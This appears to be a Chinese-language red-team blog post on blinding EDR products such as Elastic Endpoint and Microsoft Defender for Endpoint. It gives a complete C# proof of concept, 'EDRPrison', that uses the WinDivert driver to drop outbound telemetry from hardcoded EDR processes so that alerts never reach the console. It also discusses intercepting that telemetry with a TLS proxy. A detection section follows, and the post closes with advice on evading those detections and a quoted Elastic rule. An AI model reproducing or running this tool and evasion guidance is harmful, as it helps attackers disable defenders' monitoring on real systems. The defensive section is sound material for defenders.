为 EDR 配置代理会比较棘手，特别是因为不同程序优先选择代理设置的方式不同。有些程序默认不启用代理，而其他程序将其代理选择与操作系统的全局代理配置一致。各种程序优先考虑不同的代理设置：

1. **全局代理设置**：一些程序遵循操作系统设置的全局代理配置。
2. **环境变量**：其他程序可能优先考虑在环境变量中指定的代理设置，如 HTTPS\_PROXY 或 HTTP\_PROXY。
3. **应用程序特定设置**：一些程序有其独立于系统或环境变量的代理设置。

在Windows中配置代理有几种方法：

1. **netsh 命令**：通过netsh命令配置 HTTP 代理。
2. **网络和互联网&gt;代理**：通过 Windows 设置中的网络和互联网&gt;代理页面设置代理，这与注册表中HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings 同步。
3. **环境变量**：使用环境变量，如 HTTPS\_PROXY 和 HTTP\_PROXY 设置代理

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/CJsimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/CJsimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/2Q8image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/2Q8image.png)

尽管有这些方法配置代理，但直接修改正在运行的 EDR 服务的代理设置则不太可能。

此外，由于 EDR 服务通常以 **NT AUTHORITY\\SYSTEM** 上下文运行，代理设置需要是系统范围的。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/GvPimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/GvPimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Ypyimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Ypyimage.png)

根据 [Elastic 文档](https://www.elastic.co/guide/en/fleet/current/fleet-agent-proxy-support.html)，在企业环境中，通常启用代理设置用于监控和日志记录。Elastic Endpoint 支持服务器端指定的代理设置，和主机的环境变量。如果在服务器端指定代理设置，它将忽略终端上的所有代理设置。即使代理设置基于环境变量，我们也需要重新启动服务以应用新设置，这很有风险且可能需要我们所没有的权限。这导致我走进了一个死胡同：是否可以实时地更改服务的环境变量呢？

我们可以使用命令 dir env: 列出 shell 会话中的所有环境变量：

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/oZnimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/oZnimage.png)

通过使用 WinDBG 附加到 PowerShell 进程，我们可以通过 PEB 遍历的方法找到环境变量。当前环境块的大小是 0x1340。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/kx8image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/kx8image.png)

不幸的是，我们没有额外的空间来添加环境变量。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/ULFimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/ULFimage.png)

在 PowerShell 中，添加新的环境变量很简单。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/SmEimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/SmEimage.png)

然而，当我们添加新变量时，Environment 元素的地址发生变化，这说明新变量并不是直接被添加到环境变量列表中的。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/dCcimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/dCcimage.png)

要理解 Environment 元素地址的修改方式，我们可能需要对 powershell.exe 进行逆向工程，这使过程进一步复杂化。此外，即使我们了解了 PowerShell 对添加环境变量的处理规律，还会面临更多挑战：

1. **程序特定的逻辑**：处理环境变量的逻辑在程序之间可能不同。虽然在 PowerShell 会话中添加或修改环境变量很简单，但对于其他进程并不一定如此。
2. **远程进程修改**：为远程进程(尤其是 EDR 进程)添加环境变量更加困难和危险。
3. **静态变量存储**：根据程序的代码，一些应用程序可能在初始运行时读取并存储环境变量的值。即使在执行过程中添加或更改环境变量值，代码中的静态变量值也不会更新。

此外，Elastic Endpoint 的代理设置可以在服务器上指定，从而覆盖终端上的所有系统设置。此外，根据微软关于[配置 MDE 代理设置](https://learn.microsoft.com/en-us/defender-endpoint/configure-proxy-internet)的文档，MDE 的代理配置有多个来源，以及不同的优先级。因此，至少在用户模式下，没有通用且有效的方法来强制使用恶意代理。

### **借用合法的驱动程序来伪装**

EDRSilencer 使用内置的 callout 函数，消除了加载外部驱动程序的需要。虽然 WFP 允许包过滤和基本的数据包操作，其更高级别的抽象可能不适合所有低层级网络操作。为了实现更高的灵活性，外部的 WFP callout 驱动程序会更有帮助。

如前所述，微软提供了一个 WFP 案例。主程序是一个示例防火墙，驱动程序导出 callout 函数用于包注入、基本操作、代理和检视。我们讨论了在用户空间内实现恶意代理方法的可能性，并走进了死胡同。然而，使用自定义 callout 驱动程序，在内核模式下实现这一目标变得可行。而 WFP Sampler 是一个很好的例子。

不幸的是，微软只提供了 WFP Sampler 的源代码，没有提供编译后的驱动和主程序。虽然该项目是学习 WFP 编程的宝贵资源，但它意味着我们需要自己签名驱动。我们的目标是依赖一个现有的合法 WFP callout 驱动，增加更多的灵活性，如数据包拦截、数据包注入、深度数据包检查等。由于 WFP 被许多合法软件广泛采用，特别是安全产品，找到合适的驱动程序并不困难。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/gNQimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/gNQimage.png)

然而，对于闭源软件，我们无法获得其源代码。虽然逆向工程闭源的 callout 驱动也是一种选择，但是否有签名过且开源的强力 WFP callout 驱动呢？[WinDivert](https://github.com/basil00/Divert) 就是这样一个驱动程序。

WinDivert 是一个为 Windows 设计的用户模式数据包拦截和操作工具。它提供了一个强大且灵活的框架，用于在网络堆栈级别拦截、修改、注入和丢弃网络数据包。它作为一个轻量级、高性能的驱动程序，直接与网络堆栈接口，允许实时的详细数据包检查和操作。

WinDivert 可用于实现数据包过滤器、嗅探器、防火墙、IDS、VPN、隧道应用程序等，具有以下关键功能：

1. **数据包拦截**：从网络堆栈捕获数据包，允许实时监控和分析。
2. **数据包注入**：支持将修改后的数据包或新数据包重新注入网络堆栈。
3. **数据包修改**：允许详细操作数据包内容，包括头部和有效负载。
4. **协议支持**：支持广泛的网络协议，包括 IPv4、IPv6、TCP、UDP、ICMP 等。
5. **过滤**：使用灵活且强大的过滤语言指定数据包拦截和修改的标准。

因为一些安全软件也有适用 WinDivert，使其具有普遍正面的声誉。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/s3Mimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/s3Mimage.png)

WinDivert 作为内核模式驱动程序运行，钩入Windows 网络堆栈。它提供了一个用户模式 API，供应用程序与驱动程序交互，实现数据包拦截、修改和注入。驱动程序使用自定义过滤引擎，根据用户定义的规则确定拦截哪些数据包。

```
                              +-----------------+
                              |                 |
                     +------->|    PROGRAM      |--------+
                     |        | (WinDivert.dll) |        |
                     |        +-----------------+        |
                     |                                   | (3) re-injected
                     | (2a) matching packet              |     packet
                     |                                   |
                     |                                   |
 [user mode]         |                                   |
 ....................|...................................|...................
 [kernel mode]       |                                   |
                     |                                   |
                     |                                   |
              +---------------+                          +----------------->
  (1) packet  |               | (2b) non-matching packet
 ------------>| WinDivert.sys |-------------------------------------------->
              |               |
              +---------------+
```

与内置的 WFP 相比，WinDivert 具有以下优点：

1. **数据包注入**：内置 callout 函数不原生地支持将数据包重新注入至网络堆栈。虽然可以对数据包进行修改，但重新注入需要内置 WFP callout 函数所不具备的额外机制。WinDivert 提供了直接支持数据包注入的功能，使应用程序可以将修改后的或新创建的数据包直接重新注入至网络堆栈。
2. **扩展功能**：内置 WFP callout 函数受限于 WFP API 提供的功能和特性，自定义范围有限。相比之下，WinDivert 显著扩展了功能，提供对更广泛协议的支持、更灵活的过滤条件和高级的数据包操作选项。
3. **直接与网络堆栈交互**：内置 callout 函数是 WFP 框架的一部分，抽象了许多低层级细节，减少了与网络堆栈直接交互的灵活性。作为独立驱动，WinDivert 提供对网络数据包的直接访问，允许更多的控制和定制，包括与硬件级别的数据包处理的直接交互。
4. **易用性**：配置和使用内置 WFP 可能很复杂，需要详细了解 WFP API 及其细节。WinDivert 提供了更简单、更直观的 API，用于数据包拦截、修改和注入，使开发人员更容易实现复杂的网络处理任务。

WinDivert 官方仓库包括示例程序，如网络流量跟踪应用程序、简单的数据包捕获和转储应用程序、简单防火墙应用程序、多线程骨架应用程序、套接字操作转储程序、TCP流重定向到本地代理服务器程序和简单的 URL 黑名单过滤程序。在这些示例中，steamdump 是实现内核模式下恶意代理的良好参考，netfilter 可以用于开发改进后的静默 EDR 的方案，passthru 展示了多线程技术的有效使用以提升性能。此外，我注意到 webfilter 示例，可以作为实现 HTTP 数据包检查程序的优秀模板。我有一个想法：通过利用 WinDivert 创建一个透明代理，在 EDR 代理和云服务器之间进行中转，我们可以解密它们的通信并检查遥测数据。如果遥测数据包含检测或警报信息，我们可以丢弃数据包以防止在 EDR 管理面板上出现新警报。否则，我们可以安全地让数据包通过。这种方法将选择性地阻止触发警报的数据包，使得 EDR 代理在管理面板上显示为在线和健康的状态。

不同的 EDR 解决方案有不同的标准来判断是否不健康或离线。例如，根据我的观察，Elastic Endpoint 和 Microsoft Defender for Business具有以下规律：

1. 如果 elastic-agent.exe 可以连接到服务器，但elastic-endpoint.exe不能，或者遥测数据遭到损坏，代理将在约 5 分钟后被标记为不健康。
2. 如果 elastic-agent.exe 和 elastic-endpoint.exe 都不能连接到服务器，代理将在约 7 分钟后被标记为离线。
3. 对于 MDE，即使传感器无法连接到任何云服务器，终端仍然被标记为在线状态。然而，最后的设备更新时间戳可能会揭示断开连接，因为到目前为止，该时间戳已经落后2天了。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/i0Wimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/i0Wimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/m0himage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/m0himage.png)

通过了解这些标准，我们可以定制我们的透明代理方案，确保 EDR 代理保持在线和健康的状态，同时选择性地过滤可能触发警报的遥测数据

##### **恶意代理，第二轮**

考虑到遥测数据通常包含在 HTTPS 数据包中，理想的做法是检查它们以识别哪些数据包包含警报或检测信息。通过过滤这些特定数据包，我们可以避免在管理面板上出现新警报。为了实现TLS透明代理，[HttpFilteringEngine](https://github.com/TechnikEmpire/HttpFilteringEngine) 及其继承者 [CitadelCore](https://github.com/TechnikEmpire/CitadelCore) 提供了优秀的解决方案。它们提供强大的功能，包括：

1. **数据包捕获和转向**：利用 WinDivert 驱动程序和库自动捕获和转向数据包，实现透明的 TLS 代理。
2. **受信任根证书管理**：高效管理受信任的根证书。
3. **自动操作系统信任建立**：使用一次性根 CA 和密钥对，自动与操作系统信任建立信任。
4. **非HTTP数据包处理**：允许非 HTTP 数据包无阻碍通过。
5. **载荷管理**：根据需要保留整个请求或响应的载荷以进行详细检视和操纵。
6. **响应操作**：根据具体要求修改响应中的载荷。

理论上，这些工具可以有效检查某些 EDR 包含遥测数据的数据包。然而，一些 EDR 供应商意识到潜在的 MITM 攻击并采取了对策。例如，Elastic 允许管理员指定受信任的证书，使得在没有正确证书的情况下无法建立 TLS 连接。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Lgtimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Lgtimage.png)

总之，虽然检查代理的出站数据包并选择性过滤那些包含警报或检测信息的数据包，是避免在 EDR 管理面板上出现警报，且同时保持代理在线和健康状态的理想方法，但这一方法并不普遍适用。一些供应商已经实施了防止 MITM 攻击的措施，限制了这一策略的有效性。因此，尽管是可能的，但这一方法需要仔细考虑具体的 EDR 解决方案及其安全机制。

我还尝试了一种侧信道方法，通过确立可能包含警报或检测信息的数据包尺寸基线。然而，我未能观察到任何明显的规律。有时，一个小尺寸的数据包就包含了警报信息，而一个大尺寸的数据包却只包含主机操作系统相关信息而没有任何警报或检测数据。此外，为每个 EDR 都确立正确的基线尺寸，这所需的工作量将非常大。因此，尽管理论上是可能识别并选择性过滤包含警报信息的数据包，由于缺乏一致的数据包尺寸规律和大量的工作量，这在实践中不可行。每个 EDR 都有自己的遥测数据打包方式，难以建立通用的基线。

##### **改进的遥测静默方法**

虽然我尝试了一种更创新的方法——使用 TLS 透明代理选择性过滤数据包以拦截警报数据，同时保持终端在线和健康——但这种方法可能因 MITM 攻击缓解措施而无效。因此，如果我们能在保持 EDRSilencer 功能的同时增强其规避性，仍然可以被视为一种改进。接下来，我将详细介绍工具 EDRPrison 的功能和改进。

EDRSilencer 硬编码了一个可能的 EDR 进程名称列表，然后在主机上搜索这些进程并获取它们的 PID。接着，通过 OpenProcess 函数打开这些进程的句柄并获取它们的可执行文件地址。然后，EDRSilencer 将持久的 WFP 过滤器添加到这些 EDR 可执行文件中。这些过滤器在程序关闭时不会自动移除，除非手动清除。此过程有几个可能触发检测的点：

1. 调用 OpenProcess 以获取 EDR 进程的句柄。
2. 持久的 WFP 过滤器。

我的工具 EDRPrison 同样硬编码了一个可能的 EDR 进程名称列表，然后在主机上搜索这些进程并获取它们的 PID。获得PID后，EDRPrison 持续拦截并从数据包中检索相关的 PID。WINDIVERT\_ADDRESS 结构包含了数据包的详细信息，包括远程地址、远程端口、协议、PID 等。这样，我们不必频繁调用 GetExtendedTcpTable 来关联进程与其网络活动，这非常消耗性能。通过利用WINDIVERT\_ADDRESS 提供的信息，我们可以直接将数据包与其发起的进程关联，从而减少性能开销并提高我们的监控和过滤操作的效率。这种方法允许我们在确保有效的数据包拦截和检视的同时保持高性能。

```c
typedef struct
{
    UINT32 IfIdx;
    UINT32 SubIfIdx;
} WINDIVERT_DATA_NETWORK, *PWINDIVERT_DATA_NETWORK;

typedef struct
{
    UINT64 Endpoint;
    UINT64 ParentEndpoint;
    UINT32 ProcessId;
    UINT32 LocalAddr[4];
    UINT32 RemoteAddr[4];
    UINT16 LocalPort;
    UINT16 RemotePort;
    UINT8  Protocol;
} WINDIVERT_DATA_FLOW, *PWINDIVERT_DATA_FLOW;

typedef struct
{
    UINT64 Endpoint;
    UINT64 ParentEndpoint;
    UINT32 ProcessId;
    UINT32 LocalAddr[4];
    UINT32 RemoteAddr[4];
    UINT16 LocalPort;
    UINT16 RemotePort;
    UINT8  Protocol;
} WINDIVERT_DATA_SOCKET, *PWINDIVERT_DATA_SOCKET;

typedef struct
{
    INT64  Timestamp;
    UINT32 ProcessId;
    WINDIVERT_LAYER Layer;
    UINT64 Flags;
    INT16  Priority;
} WINDIVERT_DATA_REFLECT, *PWINDIVERT_DATA_REFLECT;

typedef struct
{
    INT64  Timestamp;
    UINT64 Layer:8;
    UINT64 Event:8;
    UINT64 Sniffed:1;
    UINT64 Outbound:1;
    UINT64 Loopback:1;
    UINT64 Impostor:1;
    UINT64 IPv6:1;
    UINT64 IPChecksum:1;
    UINT64 TCPChecksum:1;
    UINT64 UDPChecksum:1;
    union
    {
        WINDIVERT_DATA_NETWORK Network;
        WINDIVERT_DATA_FLOW    Flow;
        WINDIVERT_DATA_SOCKET  Socket;
        WINDIVERT_DATA_REFLECT Reflect;
    };
} WINDIVERT_ADDRESS, *PWINDIVERT_ADDRESS;
```

如果获取到的 PID 在识别的 PID 列表中，表明数据包是由 EDR 进程发起的，应被阻止或丢弃。为了实现更好的性能，我们最好设置适当的过滤器，利用多线程技术，并根据需要采用批处理以优化性能。

### **针对多种 EDR 产品的测试**

我的伙伴用 C# 实现出了 EDRPrison 的 POC，我们硬编码了 Elastic Endpoint 与 MDE 的相关进程。

```c#
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using WindivertDotnet;

namespace App
{
    internal class Program
    {
        static ConcurrentDictionary<string, string> concurrentDictionary = new ConcurrentDictionary<string, string>();
        static ConcurrentDictionary<string, int> processDictionary = new ConcurrentDictionary<string, int>();

        static void initData()
        {
            processDictionary.TryAdd("MsMpEng.exe", 1);
            processDictionary.TryAdd("MsSense.exe", 1);
            processDictionary.TryAdd("SenseIR.exe", 1);
            processDictionary.TryAdd("SenseNdr.exe", 1);
            processDictionary.TryAdd("SenseCncProxy.exe", 1);
            processDictionary.TryAdd("SenseSampleUploader.exe", 1);
            processDictionary.TryAdd("elastic-endpoint.exe", 1);
        }
        static string GetProcessNameByPID(int pid)
        {
            string processName = string.Empty;
            try
            {
                Process process = Process.GetProcessById(pid);
                processName = process.ProcessName;
            }
            catch (Exception ex)
            {
                //Console.WriteLine($"[-] GetProcessNameByPID-Exception:{ex.Message}");
            }
            return processName + ".exe";
        }
        public unsafe static string GetRmAddrPortFlow(WinDivertAddress addr)
        {
            string strAddr = addr.Flow->RemoteAddr.ToString();
            string strPort = addr.Flow->RemotePort.ToString();
            if (strAddr.StartsWith("::ffff:"))
            {
                strAddr = strAddr.Substring("::ffff:".Length) + ":" + strPort;
            }
            else
            {
                strAddr = strAddr + ":" + strPort;
            }
            return strAddr;
        }

        public unsafe static string GetRmAddrPortNetwork(WinDivertParseResult result)
        {
            string strAddr = string.Empty;
            string strPort = string.Empty;
            if (result.IPV4Header != null)
            {
                strAddr = result.IPV4Header->DstAddr.ToString();
            }
            if (result.IPV6Header != null)
            {
                strAddr = result.IPV6Header->DstAddr.ToString();
            }
            strPort = result.TcpHeader->DstPort.ToString();
            strAddr = strAddr + ":" + strPort;
            return strAddr;
        }

        public unsafe static string GetProcessID(WinDivertAddress addr)
        {
            int procId = addr.Flow->ProcessId;
            return GetProcessNameByPID(procId);
        }
        public static unsafe void InsertDictionary(WinDivertAddress addr)
        {
            try
            {
                string procName = GetProcessNameByPID(addr.Flow->ProcessId);
                string rmAddrPort = GetRmAddrPortFlow(addr);
                if (processDictionary.ContainsKey(procName))
                {
                    concurrentDictionary.TryAdd(rmAddrPort, "[+] Block:" + procName + " Remote:" + rmAddrPort);
                    //Console.WriteLine($"ProcessName:{procName} RemoteAddr:{rmAddrPort}");
                }
            }
            catch (Exception ex)
            {
                //Console.WriteLine($"[-] InsertDictionary-Exception:{ex.Message}");
            }
        }
        public static unsafe bool CheckInDictionary(WinDivertParseResult result, out string DictValue, out string processName)
        {
            bool reflag = false;
            DictValue = string.Empty;
            processName = string.Empty;
            string rmAddrPort = GetRmAddrPortNetwork(result);
            if (concurrentDictionary.ContainsKey(rmAddrPort))
            {
                concurrentDictionary.TryGetValue(rmAddrPort, out DictValue);
                string[] parts = DictValue.Split(new string[] { "Block:", " Remote" }, StringSplitOptions.None);
                if (parts.Length > 1)
                {
                    processName = parts[1].Trim();
                }
                reflag = true;
            }
            return reflag;
        }
        public static unsafe bool DoWorkPacket_Step1(WinDivertParseResult result)
        {
            bool reflag = false;
            if (result.IPV4Header == null && result.IPV6Header == null)
            {
                reflag = true;
            }
            return reflag;
        }

        static async Task Main(string[] args)
        {
            initData();

            Task task1 = DoWorkAsyncFlow();
            Task task2 = DoWorkAsyncNETWORK();

            // 等待两个任务同时完成
            await Task.WhenAll(task1, task2);
            Console.WriteLine("Both Tasks Finished");
        }

        static async Task DoWorkAsyncFlow()
        {
            var filter = Filter.True;
            using var divert = new WinDivert(filter, WinDivertLayer.Flow);
            using var packet = new WinDivertPacket();
            using var addr = new WinDivertAddress();

            while (true)
            {
                var recvLength = await divert.RecvAsync(packet, addr);
                InsertDictionary(addr);
            }
        }

        static async Task DoWorkAsyncNETWORK()
        {
            var filter = Filter.True.And(f => f.IsIP && f.IsTcp).And(f => f.Network.Outbound).And(f => !f.Network.Loopback);
            using var divert = new WinDivert(filter, WinDivertLayer.Network);
            using var packet = new WinDivertPacket();
            using var addr = new WinDivertAddress();

            while (true)
            {
                var recvLength = await divert.RecvAsync(packet, addr);
                var result = packet.GetParseResult();

                if (DoWorkPacket_Step1(result))
                {
                    continue;
                }

                string BlockMessage = string.Empty;
                string ProcessName = string.Empty;
                if (!CheckInDictionary(result, out BlockMessage, out ProcessName))
                {
                    var checkState = packet.CalcChecksums(addr);
                    var sendLength = await divert.SendAsync(packet, addr);
                }
                else
                {
                    processDictionary.TryGetValue(ProcessName, out var limitLen);
                    if (recvLength < limitLen)
                    {
                        var checkState = packet.CalcChecksums(addr);
                        var sendLength = await divert.SendAsync(packet, addr);
                    }
                    else
                    {
                        if (!BlockMessage.Equals(string.Empty))
                        {
                            Console.WriteLine($"{BlockMessage} PacketLen:{recvLength} LimitLen:{limitLen}");
                        }
                    }
                }
            }
        }
    }
}
```

我们之后会提供用 C++ 实现的更完善的版本，因为该 C# 程序需要其他文件的落地。总之，编译该 C# 项目后，在我装有 Elastic Endpoint 与 MDE 的测试主机上运行，程序并没有被检测，这是意料之中的，因为 WinDivert 与相关程序本身是可用于合法用途的，例如防火墙。但从这时候开始，EDR 代理发出的遥测数据便不会抵达 EDR 控制面板了。

我们尝试运行一些经典恶意软件，例如没有修改过的 mimikatz 和 rubeus，依旧会被终止运行，这是因为即便离线也是有最基本的杀软的能力，并且看到接下来一小段时间内，(被拦截的)数据包数量激增，因为会有大量包含检测的遥测数据发出。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/bmdimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/bmdimage.png)

但最终我们并没有在 EDR 控制面板上看到新的警报。如果运行一些更加复杂的恶意软件，因为缺乏云端的分析与机器学习，便不会被 EDR 阻止了。

### **检测与防御**

我们已经介绍了 EDRPrison 的优势，那么如何检测或防御这种攻击呢？以下是一些可以考虑的方案：

##### **驱动程序加载事件**

如果系统上未安装 WinDivert 驱动程序，EDRPrison 将在首次运行时安装 callout 驱动。操作系统和遥测数据都会记录此事件。然而，驱动程序加载事件默认不被视为高风险，因此管理员可能会忽略它们。此外，一些合法软件也会加载此驱动程序。

##### **WinDivert64.sys 和 WinDivert.dll 的存在**

EDRPrison 和其他依赖 WinDivert 的程序需要 WinDivert64.sys 和 WinDivert.dll 存在于磁盘上。通常，这些文件不会被检测为恶意软件，但一些供应商也认识到 WinDivert 可被用于恶意目的。例如，2019年，Divergent 恶意软件使用 NodeJS 和 WinDivert 进行无文件攻击，详情见[此](https://www.tripwire.com/state-of-security/divergent-malware-using-nodejs-windivert-in-fileless-attacks)。此外，根据一个 [issue](https://github.com/basil00/Divert/issues/274)，一些反作弊系统如果检测到 WinDivert 已安装，则会拒绝运行游戏。

##### **WinDivert 使用检测工具**

WinDivert 的作者还编写了一个程序 [WinDivertTool](https://github.com/basil00/WinDivertTool)，用于检测当前使用 WFP 的进程。输出非常详细，WinDivertTool 甚至可以终止相关进程或卸载 WinDivert 服务。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/vMZimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/vMZimage.png)


##### **针对 EDR 进程的数据包丢弃/阻止的操作**

Elastic 有一个 WFP 过滤器滥用的检测规则，可以在[此处](https://www.elastic.co/guide/en/security/current/potential-evasion-via-windows-filtering-platform.html)找到。它检测针对任何安全产品进程发出的数据包进行丢弃或阻止的操作。Windows 也提供基于此操作的事件日志，详细信息[见此](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5152)。

##### **检查注册的 WFP 提供者、过滤器和 callout**

工具 [WFPExplorer](https://github.com/jdu2600/WFPExplorer) 也可以用于取证目的。它提供了一个 GUI，用户可以查看活跃的 WFP 会话、注册的 callout、WFP 提供者，和过滤器。此工具可以帮助识别和分析任何可疑的 WFP 配置。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/XKcimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/XKcimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/aGaimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/aGaimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/NhPimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/NhPimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/vGLimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/vGLimage.png)

##### **Adminless**

在与 jdu2600 的对话中，对方提到未来的 Windows 保护措施可能进一步限制新驱动程序的安装，这可能在 Adminless 功能下解决。有关此功能的更多细节可以在[此演示](https://github.com/dwizzzle/Presentations/blob/master/David%20Weston%20-%20Windows%2011%20Security%20by-default%20-%20Bluehat%20IL%202023.pdf)中找到。Adminless 所带来的益处可用于限制未经授权的驱动程序的安装和执行，使得 EDRPrison 等进攻性驱动程序更难以在攻击中采用。随着 Adminless 的广泛采用，这可能显著限制安装和利用此类驱动程序的能力，从而缓解这一攻击向量。




### **红队的复仇：颠覆上述检测**

那么从红队的角度来看，如何颠覆上述的一些检测？根据目标组织的安全配置，是存在潜在的变通方法的。然而，依旧需要管理员权限。

##### **避免使用WinDivert**

如果 WinDivert 在组织内部被标记为恶意驱动，我们可以寻找满足以下条件的替代驱动：

1. callout 驱动程序已签名。
2. 能进行数据包的拦截、重新注入和其他操纵。
3. 开源。
4. 没有被广泛用于恶意用途。
5. 有着很好的编程文档。

我是已经确定了一个合适的替代了，你能找到吗？

##### **避免外部驱动程序**

除非得到特别的批准，如果所有外部驱动都被视为未经授权的，尽管十分具有挑战性但我们仍然可能通过逆向工程已安装或内置应用的 WFP callout 驱动并重用其 callout 函数。许多安全软件，如 Elastic Endpoint、Norton 和 ESET，都有用于流量日志记录、DPI、家长控制等目的的 WFP callout 驱动程序。[本文](https://blog.quarkslab.com/guided-tour-inside-windefenders-network-inspection-driver.html)提供了逆向工程闭源驱动程序的优秀示例。

##### **规避Elastic规则**

我们之前讨论的 Elastic 规则可以识别针对安全产品进程的包阻止/丢弃操作。

```yaml
sequence by winlog.computer_name with maxspan=1m
 [network where host.os.type == "windows" and
  event.action : ("windows-firewall-packet-block", "windows-firewall-packet-drop") and
  process.name : (
        "bdagent.exe", "bdreinit.exe", "pdscan.exe", ...... "taniumclient.exe"
    )] with runs=5
```

然而，如果我们不阻止或丢弃数据包，而是将其重定向或代理到一个dummy 代理服务器，那就不符合检测规则了。[streamdump](https://github.com/basil00/Divert/blob/master/examples/streamdump/streamdump.c) 示例提供了相关实现。